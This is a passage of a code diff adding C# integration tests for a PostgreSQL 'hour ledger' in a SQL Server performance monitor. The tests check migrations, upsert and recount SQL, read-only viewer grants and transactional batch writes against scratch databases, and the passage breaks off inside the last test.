+    }
+
+    [Fact]
+    public async Task MigratingAFreshStore_CreatesBothTables_SeedsTheStateRowAtTheNextWholeHour_AndRerunningKeepsIt()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the hour ledger rung's live pin (it mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        var before = DateTime.UtcNow;
+        await PgMigrations.MigrateAsync(connection, ct);
+        var after = DateTime.UtcNow;
+
+        var bodySucceeded = false;
+        try
+        {
+            Assert.Equal(StorageVersion.SchemaVersion, Convert.ToInt32(await ScalarAsync(connection, "SELECT MAX(version) FROM darling_schema_version", ct)));
+            Assert.Equal(2L, await ScalarAsync(connection,
+                "SELECT count(*) FROM pg_class c JOIN pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname = 'collect' AND c.relkind = 'r' AND c.relname IN ('query_stats_hour_ledger','query_stats_hour_ledger_state')", ct));
+            Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM collect.query_stats_hour_ledger", ct));
+            Assert.Equal(1L, await ScalarAsync(connection, "SELECT count(*) FROM collect.query_stats_hour_ledger_state", ct));
+
+            var countedSince = (DateTime)(await ScalarAsync(connection, "SELECT counted_since FROM collect.query_stats_hour_ledger_state WHERE id = 1", ct))!;
+            Assert.Equal(new DateTime(countedSince.Year, countedSince.Month, countedSince.Day, countedSince.Hour, 0, 0), countedSince);
+            Assert.True(countedSince > before, "counted_since is after the moment the rung ran: the hour it ran in is only partly counted");
+            Assert.True(countedSince <= after.AddHours(1), "counted_since is the NEXT whole hour, no later");
+
+            /* A re-run (the rung is applied again) keeps whatever counted_since says, so a backfill's earlier value survives. */
+            await ExecAsync(connection, "UPDATE collect.query_stats_hour_ledger_state SET counted_since = counted_since - interval '5 days'", ct);
+            var moved = (DateTime)(await ScalarAsync(connection, "SELECT counted_since FROM collect.query_stats_hour_ledger_state", ct))!;
+            await ExecAsync(connection, "DELETE FROM darling_schema_version WHERE version >= 164", ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            Assert.Equal(StorageVersion.SchemaVersion, Convert.ToInt32(await ScalarAsync(connection, "SELECT MAX(version) FROM darling_schema_version", ct)));
+            Assert.Equal(1L, await ScalarAsync(connection, "SELECT count(*) FROM collect.query_stats_hour_ledger_state", ct));
+            Assert.Equal(moved, (DateTime)(await ScalarAsync(connection, "SELECT counted_since FROM collect.query_stats_hour_ledger_state", ct))!);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task UpsertSql_AddsToAnExistingBucket_StartsANewOne_AndIgnoresACountOfZeroOrLess()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the hour ledger's live pins (each mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            /* A batch lands mid-hour: the bucket is the whole hour, and the first count inserts. */
+            Assert.Equal(1, await UpsertAsync(connection, ServerA, NameA, H10.AddMinutes(20).AddSeconds(30), 3, ct));
+            Assert.Equal(3L, await LedgerAsync(connection, ServerA, NameA, H10, ct));
+
+            /* Another batch in the same hour, at its last microsecond, adds to it. */
+            Assert.Equal(1, await UpsertAsync(connection, ServerA, NameA, H10.AddHours(1).AddTicks(-10), 4, ct));
+            Assert.Equal(7L, await LedgerAsync(connection, ServerA, NameA, H10, ct));
+
+            /* The next whole hour, another server id, and another spelling of the name are each their own row. */
+            await UpsertAsync(connection, ServerA, NameA, H10.AddHours(1), 2, ct);
+            await UpsertAsync(connection, ServerB, NameA, H10, 5, ct);
+            await UpsertAsync(connection, ServerA, NameB, H10, 6, ct);
+            Assert.Equal(2L, await LedgerAsync(connection, ServerA, NameA, H10.AddHours(1), ct));
+            Assert.Equal(5L, await LedgerAsync(connection, ServerB, NameA, H10, ct));
+            Assert.Equal(6L, await LedgerAsync(connection, ServerA, NameB, H10, ct));
+            Assert.Equal(7L, await LedgerAsync(connection, ServerA, NameA, H10, ct));
+
+            /* A count of 0 (a restart-only batch) or less writes nothing: the rollup has no row for such an hour. */
+            Assert.Equal(0, await UpsertAsync(connection, ServerA, NameA, H10.AddHours(5), 0, ct));
+            Assert.Equal(0, await UpsertAsync(connection, ServerA, NameA, H10, -3, ct));
+            Assert.Equal(7L, await LedgerAsync(connection, ServerA, NameA, H10, ct));
+            Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM collect.query_stats_hour_ledger WHERE bucket = '2026-01-05 15:00:00'", ct));
+            Assert.Equal(4L, await ScalarAsync(connection, "SELECT count(*) FROM collect.query_stats_hour_ledger", ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task RecountSql_RecomputesARangeFromRaw_SkipsRestartRows_CountsNullIntervals_AndKeepsTheRawNameSpelling()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the hour ledger's live pins (each mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerA, NameA, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerB, NameB, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            /* Server A, hour 10: two measured rows, one restart row (0, not counted), one NULL-interval row (counted) = 3.
+               Hour 11: a row exactly on the hour (the start is inclusive) = 1. Server B, hour 11: two rows = 2, and in
+               hour 10 only a restart row, so no ledger row at all. A row exactly at 12:00 is outside [10:00, 12:00). */
+            await PlantAsync(connection, ct, ServerA, NameA, H10.AddMinutes(5), 3600);
+            await PlantAsync(connection, ct, ServerA, NameA, H10.AddMinutes(25), 3600);
+            await PlantAsync(connection, ct, ServerA, NameA, H10.AddMinutes(45), 0);
+            await PlantAsync(connection, ct, ServerA, NameA, H10.AddMinutes(50), null);
+            await PlantAsync(connection, ct, ServerA, NameA, H10.AddHours(1), 3600);
+            await PlantAsync(connection, ct, ServerB, NameB, H10.AddMinutes(30), 0);
+            await PlantAsync(connection, ct, ServerB, NameB, H10.AddHours(1).AddMinutes(10), 3600);
+            await PlantAsync(connection, ct, ServerB, NameB, H10.AddHours(1).AddMinutes(40), 3600);
+            await PlantAsync(connection, ct, ServerA, NameA, H10.AddHours(2), 3600);
+
+            /* A ledger row outside the range must survive the recount untouched. */
+            await UpsertAsync(connection, ServerA, NameA, H10.AddHours(2), 9, ct);
+
+            var first = await RecountAsync(connection, H10, H10.AddHours(2), ct);
+            Assert.Equal((3L, 0L), first);
+            Assert.Equal(3L, await LedgerAsync(connection, ServerA, NameA, H10, ct));
+            Assert.Equal(1L, await LedgerAsync(connection, ServerA, NameA, H10.AddHours(1), ct));
+            Assert.Equal(2L, await LedgerAsync(connection, ServerB, NameB, H10.AddHours(1), ct));
+            Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM collect.query_stats_hour_ledger WHERE server_id = -945102 AND bucket = '2026-01-05 10:00:00'", ct));
+            Assert.Equal(9L, await LedgerAsync(connection, ServerA, NameA, H10.AddHours(2), ct));
+
+            /* The name is stored exactly as raw holds it, backslash and case included, so it joins the rollup's row. */
+            Assert.Equal(1L, await ScalarAsync(connection, "SELECT count(*) FROM collect.query_stats_hour_ledger WHERE server_name = 'LedgerServerA\\INST' AND bucket = '2026-01-05 10:00:00'", ct));
+            Assert.Equal(1L, await ScalarAsync(connection, "SELECT count(*) FROM collect.query_stats_hour_ledger WHERE server_name = 'ledgerserverb'", ct));
+
+            /* A recount SETS the count from raw, it does not add to it: a new raw row, a second recount, 4 and not 7. */
+            await PlantAsync(connection, ct, ServerA, NameA, H10.AddMinutes(55), 3600);
+            Assert.Equal((3L, 0L), await RecountAsync(connection, H10, H10.AddHours(2), ct));
+            Assert.Equal(4L, await LedgerAsync(connection, ServerA, NameA, H10, ct));
+
+            /* A ragged range is widened to whole hours, so no partial hour is ever written: from 10:20 to 11:40 still
+               counts every row of hours 10 and 11 (a count from 10:20 would give 3 for hour 10). */
+            await ExecAsync(connection, "DELETE FROM collect.query_stats_hour_ledger WHERE bucket < '2026-01-05 12:00:00'", ct);
+            Assert.Equal((3L, 0L), await RecountAsync(connection, H10.AddMinutes(20), H10.AddHours(1).AddMinutes(40), ct));
+            Assert.Equal(4L, await LedgerAsync(connection, ServerA, NameA, H10, ct));
+            Assert.Equal(9L, await LedgerAsync(connection, ServerA, NameA, H10.AddHours(2), ct));
+
+            /* A ledger row whose raw rows are gone is deleted by a recount of its hour. */
+            await ExecAsync(connection, "DELETE FROM collect.query_stats WHERE server_id = -945102", ct);
+            Assert.Equal((2L, 1L), await RecountAsync(connection, H10, H10.AddHours(2), ct));
+            Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM collect.query_stats_hour_ledger WHERE server_id = -945102", ct));
+
+            /* The recount never touches the state row. */
+            Assert.Equal(1L, await ScalarAsync(connection, "SELECT count(*) FROM collect.query_stats_hour_ledger_state", ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task TheViewerRolesProvisionedGrants_ReadBothTables_AndWriteNeither()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the hour ledger's live pins (each mints its own scratch database and role).");
+        var ct = TestContext.Current.CancellationToken;
+        var roleName = "ledger_ro_" + Guid.NewGuid().ToString("N")[..8];
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var viewerStatements = ViewerGrantReplay.StatementsFor(roleName, scratch.DatabaseName);
+        Assert.Contains(viewerStatements, x => x.Contains("SELECT ON ALL TABLES IN SCHEMA collect", StringComparison.Ordinal));
+
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(connection, $"CREATE ROLE {roleName} LOGIN NOSUPERUSER PASSWORD 'ledger-pin-password'", ct);
+            foreach (var statement in viewerStatements)
+            {
+                await ExecAsync(connection, statement, ct);
+            }
+
+            /* No new GRANT exists for these tables: the collect schema's blanket SELECT (provisioning re-asserts it at every
+               start, after migration) covers them. The role reads both and cannot write either. */
+            var asViewer = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { Username = roleName, Password = "ledger-pin-password" }.ConnectionString;
+            await using var viewer = new NpgsqlConnection(asViewer);
+            await viewer.OpenAsync(ct);
+            Assert.Equal(0L, await ScalarAsync(viewer, "SELECT count(*) FROM collect.query_stats_hour_ledger", ct));
+            Assert.Equal(1L, await ScalarAsync(viewer, "SELECT count(*) FROM collect.query_stats_hour_ledger_state", ct));
+
+            var write = await Assert.ThrowsAsync<PostgresException>(() => ExecAsync(viewer,
+                "INSERT INTO collect.query_stats_hour_ledger (server_id, server_name, bucket, n) VALUES (1, 'x', '2026-01-05 10:00:00', 1)", ct));
+            Assert.Equal("42501", write.SqlState);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var drop = new NpgsqlCommand($"DROP OWNED BY {roleName}; DROP ROLE IF EXISTS {roleName};", cleanup);
+                await drop.ExecuteNonQueryAsync(cleanupCt);
+            });
+        }
+    }
+
+    private static async Task<int> UpsertAsync(NpgsqlConnection connection, int serverId, string serverName, DateTime at, long n, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(QueryStatsHourLedger.UpsertSql, connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = serverName });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = at });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Bigint, Value = n });
+        return await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<(long Written, long Deleted)> RecountAsync(NpgsqlConnection connection, DateTime from, DateTime to, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(QueryStatsHourLedger.RecountSql, connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = from });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = to });
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        Assert.True(await reader.ReadAsync(ct));
+        return (reader.GetInt64(0), reader.GetInt64(1));
+    }
+
+    private static async Task<long> LedgerAsync(NpgsqlConnection connection, int serverId, string serverName, DateTime bucket, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(
+            "SELECT n FROM collect.query_stats_hour_ledger WHERE server_id = $1 AND server_name = $2 AND bucket = $3", connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = serverName });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = bucket });
+        var value = await command.ExecuteScalarAsync(ct);
+        return value is null or DBNull ? -1L : Convert.ToInt64(value);
+    }
+
+    private static async Task PlantAsync(NpgsqlConnection connection, CancellationToken ct, int serverId, string serverName, DateTime at, int? intervalSeconds)
+    {
+        await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+     delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds)
+VALUES ($1, $2, $3, $4, 'LedgerDb', '0xLEDGER', '0xLEDGER', 1000, 900, 1, $5)", connection);
+        insert.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = DarlingMcpTestData.TruncateToSeconds(at) });
+        insert.Parameters.AddWithValue(serverId);
+        insert.Parameters.AddWithValue(serverName);
+        insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = intervalSeconds.HasValue ? intervalSeconds.Value : DBNull.Value });
+        await insert.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return await command.ExecuteScalarAsync(ct);
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStatsHourLedgerWriterLiveTests.cs b/Darling/Darling.Tests/QueryStatsHourLedgerWriterLiveTests.cs
new file mode 100644
index 0000000000..8cb55cc731
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStatsHourLedgerWriterLiveTests.cs
@@ -0,0 +1,456 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Reflection;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Live pins for the hour-ledger WRITER (#4605, plan lane 2): the query_stats batch's ledger count is added inside the
+/// COPY's own transaction by <c>DarlingCollectorRunner.CopyBatchOnceAsync</c>, so the raw rows and the count commit
+/// together or not at all. Every fact drives the product's own <c>WriteBatchAsync</c> (the method the collection cycle
+/// calls) with real <see cref="QueryStatsCollector.Row"/>s and the real delta calculator, so the intervals are the ones
+/// the collector really writes: a first sighting of a statement is a restart row (interval 0), a later sighting is a
+/// measured row.
+///
+/// <para><b>#1776 own-store:</b> every test here creates and drops its own scratch database through
+/// <see cref="ScratchPostgres"/>, so it is not in the <c>live-postgres</c> collection.</para>
+/// </summary>
+public sealed class QueryStatsHourLedgerWriterLiveTests
+{
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private const string SkipReason = "Set DARLING_TEST_PG to run the hour ledger writer's live pins (each mints its own scratch database).";
+
+    /// <summary>Fixed anchor, never wall-clock relative: a whole hour. Every collection time in a fact is an offset from it.</summary>
+    private static readonly DateTime H10 = new(2026, 1, 5, 10, 0, 0, DateTimeKind.Unspecified);
+
+    private static readonly DateTime H11 = H10.AddHours(1);
+
+    private static readonly MethodInfo WriteBatchMethod = typeof(DarlingCollectorRunner)
+        .GetMethod("WriteBatchAsync", BindingFlags.NonPublic | BindingFlags.Instance)!;
+
+    /// <summary>
+    /// One scratch store, migrated to the newest rung, with a runner and the shared delta calculator the batches' contexts
+    /// use. The server name carries a backslash, the spelling a named instance is stored under, because the ledger's key
+    /// must be that exact text.
+    /// </summary>
+    private sealed class Rig : IAsyncDisposable
+    {
+        public required ScratchPostgres Scratch { get; init; }
+
+        public required NpgsqlDataSource DataSource { get; init; }
+
+        public required NpgsqlConnection Connection { get; init; }
+
+        public required DarlingCollectorRunner Runner { get; init; }
+
+        public required CollectorDeltaCalculator Deltas { get; init; }
+
+        public required ServerRuntime Server { get; init; }
+
+        public static async Task<Rig> OpenAsync(int serverId, string serverName, CancellationToken ct)
+        {
+            var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+            var connection = new NpgsqlConnection(scratch.ConnectionString);
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            var deltas = new CollectorDeltaCalculator();
+            var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+            return new Rig
+            {
+                Scratch = scratch,
+                DataSource = dataSource,
+                Connection = connection,
+                Deltas = deltas,
+                Runner = new DarlingCollectorRunner(dataSource, deltas),
+                Server = new ServerRuntime
+                {
+                    Config = new MonitoredServer { Name = serverName, Host = serverName },
+                    ConnectionString = "Server=" + serverName,
+                    Target = new CollectorTargetInfo { SqlMajorVersion = 16 },
+                    StorageName = serverName,
+                    ServerId = serverId,
+                    EngineEdition = 3,
+                },
+            };
+        }
+
+        /// <summary>
+        /// Writes one batch through the product's own <c>WriteBatchAsync</c>. A fault surfaces as the store's own exception
+        /// (the method is async, so reflection hands back a faulted task rather than a TargetInvocationException).
+        /// </summary>
+        public async Task<int> WriteAsync(DateTime collectionTime, List<QueryStatsCollector.Row> rows, CancellationToken ct)
+        {
+            var context = new CollectorContext
+            {
+                ServerId = Server.ServerId,
+                ServerName = Server.StorageName,
+                CollectionTime = collectionTime,
+                Deltas = Deltas,
+                Target = Server.Target,
+            };
+
+            var task = (Task)WriteBatchMethod.MakeGenericMethod(typeof(QueryStatsCollector.Row)).Invoke(
+                Runner,
+                new object?[] { Connection, QueryStatsCollector.Instance, rows, Server, collectionTime, context, ct })!;
+            await task;
+            return (int)task.GetType().GetProperty("Result")!.GetValue(task)!;
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await Connection.DisposeAsync();
+            await DataSource.DisposeAsync();
+            await Scratch.DisposeAsync();
+        }
+    }
+
+    /// <summary>
+    /// One statement's row at counter level <paramref name="level"/>. The delta key is the handle and offsets, so a row
+    /// with the same <paramref name="key"/> is the SAME statement on the next sighting; raising the level between batches
+    /// is what makes its delta real (a lower level would be a counter reset).
+    /// </summary>
+    private static QueryStatsCollector.Row Row(string key, long level, string database = "LedgerWriterDb") => new()
+    {
+        DatabaseName = database,
+        QueryHash = "0x" + key,
+        QueryPlanHash = "0xP" + key,
+        SqlHandle = "0x" + key,
+        PlanHandle = "0xP" + key,
+        ExecutionCount = level,
+        TotalWorkerTime = level * 1000,
+        TotalElapsedTime = level * 900,
+        TotalLogicalReads = level * 10,
+        StatementStartOffset = 0,
+        StatementEndOffset = -1,
+    };
+
+    private static List<QueryStatsCollector.Row> Rows(long level, params string[] keys)
+    {
+        var rows = new List<QueryStatsCollector.Row>();
+        foreach (var key in keys)
+        {
+            rows.Add(Row(key, level));
+        }
+
+        return rows;
+    }
+
+    /// <summary>The ledger's n for one (server, name, hour), or -1 when the hour has no ledger row.</summary>
+    private static async Task<long> LedgerAsync(NpgsqlConnection connection, int serverId, string serverName, DateTime bucket, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(
+            "SELECT n FROM collect.query_stats_hour_ledger WHERE server_id = $1 AND server_name = $2 AND bucket = $3", connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = serverName });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = bucket });
+        var value = await command.ExecuteScalarAsync(ct);
+        return value is null or DBNull ? -1L : Convert.ToInt64(value);
+    }
+
+    /// <summary>
+    /// The guard's own population for one hour: raw rows whose interval is not 0 (a NULL counts). The ledger must equal this
+    /// for every hour the writer counted, which is the equation the count guard checks against the rollup.
+    /// </summary>
+    private static async Task<long> RawMeasuredAsync(NpgsqlConnection connection, int serverId, DateTime bucket, CancellationToken ct) =>
+        Convert.ToInt64(await ScalarAsync(
+            connection,
+            "SELECT count(*) FROM collect.query_stats WHERE server_id = " + serverId.ToString(System.Globalization.CultureInfo.InvariantCulture)
+            + " AND collection_time >= '" + bucket.ToString("yyyy-MM-dd HH:mm:ss", System.Globalization.CultureInfo.InvariantCulture)
+            + "' AND collection_time < '" + bucket.AddHours(1).ToString("yyyy-MM-dd HH:mm:ss", System.Globalization.CultureInfo.InvariantCulture)
+            + "' AND sample_interval_seconds IS DISTINCT FROM 0",
+            ct));
+
+    private static async Task<long> RawRowsAsync(NpgsqlConnection connection, int serverId, CancellationToken ct) =>
+        Convert.ToInt64(await ScalarAsync(
+            connection, "SELECT count(*) FROM collect.query_stats WHERE server_id = " + serverId.ToString(System.Globalization.CultureInfo.InvariantCulture), ct));
+
+    private static async Task<long> LedgerRowsAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        Convert.ToInt64(await ScalarAsync(connection, "SELECT count(*) FROM collect.query_stats_hour_ledger", ct));
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return await command.ExecuteScalarAsync(ct);
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>
+    /// The headline case, through the real write path. Batch 1 is every statement's first sighting, so every row is a restart
+    /// row (interval 0) and the hour gets NO ledger row (the rollup has no row for it either). Batch 2 re-reads two of them
+    /// at higher counters (measured) beside one brand-new statement (a restart row in the same batch): the hour gains
+    /// exactly the two measured rows. A later batch in the same hour adds to it, and a batch in the next hour starts the next
+    /// bucket. After every batch the ledger equals the raw rows the guard would count (interval IS DISTINCT FROM 0).
+    /// </summary>
+    [Fact]
+    public async Task ABatchAddsItsNonRestartRowCount_ToItsHour_AndRestartRowsAddNothing()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        const int serverId = -945201;
+        const string serverName = "LedgerWriter\\INST";
+
+        await using var rig = await Rig.OpenAsync(serverId, serverName, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            /* Batch 1: first sightings. Written, but every interval is 0, so the ledger stays empty. */
+            Assert.Equal(3, await rig.WriteAsync(H10.AddMinutes(10), Rows(1, "a", "b", "c"), ct));
+            Assert.Equal(3L, await RawRowsAsync(rig.Connection, serverId, ct));
+            Assert.Equal(0L, await RawMeasuredAsync(rig.Connection, serverId, H10, ct));
+            Assert.Equal(-1L, await LedgerAsync(rig.Connection, serverId, serverName, H10, ct));
+            Assert.Equal(0L, await LedgerRowsAsync(rig.Connection, ct));
+
+            /* Batch 2, a minute later: a and b measured, d new (a restart row beside them). */
+            var batch2 = Rows(5, "a", "b");
+            batch2.Add(Row("d", 1));
+            Assert.Equal(3, await rig.WriteAsync(H10.AddMinutes(11), batch2, ct));
+            Assert.Equal(2L, await RawMeasuredAsync(rig.Connection, serverId, H10, ct));
+            Assert.Equal(2L, await LedgerAsync(rig.Connection, serverId, serverName, H10, ct));
+
+            /* Batch 3, the same hour later: a, b and d are all measured now; the count ADDS to the hour's row. */
+            Assert.Equal(3, await rig.WriteAsync(H10.AddMinutes(50), Rows(9, "a", "b", "d"), ct));
+            Assert.Equal(5L, await RawMeasuredAsync(rig.Connection, serverId, H10, ct));
+            Assert.Equal(5L, await LedgerAsync(rig.Connection, serverId, serverName, H10, ct));
+
+            /* Batch 4, the next hour: its own bucket; the first hour is untouched. */
+            Assert.Equal(3, await rig.WriteAsync(H11.AddMinutes(5), Rows(12, "a", "b", "d"), ct));
+            Assert.Equal(3L, await RawMeasuredAsync(rig.Connection, serverId, H11, ct));
+            Assert.Equal(3L, await LedgerAsync(rig.Connection, serverId, serverName, H11, ct));
+            Assert.Equal(5L, await LedgerAsync(rig.Connection, serverId, serverName, H10, ct));
+            Assert.Equal(2L, await LedgerRowsAsync(rig.Connection, ct));
+
+            /* The key is the exact spelling the COPY wrote: the raw rows' server_name is the ledger's. */
+            Assert.Equal(
+                0L,
+                Convert.ToInt64(await ScalarAsync(
+                    rig.Connection,
+                    "SELECT count(*) FROM collect.query_stats_hour_ledger l WHERE NOT EXISTS (SELECT 1 FROM collect.query_stats q WHERE q.server_id = l.server_id AND q.server_name = l.server_name)",
+                    ct)));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(rig.Scratch.ConnectionString, bodySucceeded, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    /// <summary>
+    /// A fault in the ledger upsert aborts the whole batch: there is no savepoint, so the COPY's rows roll back with it and
+    /// raw never holds rows the ledger has not counted. A trigger that refuses every ledger write stands in for the fault.
+    /// After the fault clears, the next batch counts normally (nothing of the aborted batch's count lingers).
+    /// </summary>
+    [Fact]
+    public async Task AFailedUpsert_AbortsTheBatch_SoRawAndTheLedgerAreBothUnchanged()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        const int serverId = -945202;
+        const string serverName = "ledgerwriter-upsertfault";
+
+        await using var rig = await Rig.OpenAsync(serverId, serverName, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            Assert.Equal(2, await rig.WriteAsync(H10.AddMinutes(1), Rows(1, "a", "b"), ct));
+            Assert.Equal(2, await rig.WriteAsync(H10.AddMinutes(2), Rows(3, "a", "b"), ct));
+            Assert.Equal(2L, await LedgerAsync(rig.Connection, serverId, serverName, H10, ct));
+            Assert.Equal(4L, await RawRowsAsync(rig.Connection, serverId, ct));
+
+            await ExecAsync(
+                rig.Connection,
+                "CREATE FUNCTION collect.ledger_writer_refuse() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN RAISE EXCEPTION 'ledger write refused' USING ERRCODE = 'P0001'; END $$;"
+                + "CREATE TRIGGER trg_ledger_writer_refuse BEFORE INSERT OR UPDATE ON collect.query_stats_hour_ledger FOR EACH ROW EXECUTE FUNCTION collect.ledger_writer_refuse();",
+                ct);
+
+            var fault = await Assert.ThrowsAsync<PostgresException>(
+                () => rig.WriteAsync(H10.AddMinutes(3), Rows(6, "a", "b"), ct));
+            Assert.Equal("P0001", fault.SqlState);
+
+            /* The COPY ran inside the same transaction, so its two rows are gone with the failed upsert. */
+            Assert.Equal(4L, await RawRowsAsync(rig.Connection, serverId, ct));
+            Assert.Equal(2L, await LedgerAsync(rig.Connection, serverId, serverName, H10, ct));
+
+            await ExecAsync(rig.Connection, "DROP TRIGGER trg_ledger_writer_refuse ON collect.query_stats_hour_ledger; DROP FUNCTION collect.ledger_writer_refuse();", ct);
+
+            /* The next batch counts its own rows once. The aborted batch's rows moved the delta baseline, which is the
+               documented cost of an unstamped fault (a lost sample, never a duplicate), so the next interval is measured
+               against that baseline and both rows are still measured. */
+            Assert.Equal(2, await rig.WriteAsync(H10.AddMinutes(4), Rows(9, "a", "b"), ct));
+            Assert.Equal(4L, await LedgerAsync(rig.Connection, serverId, serverName, H10, ct));
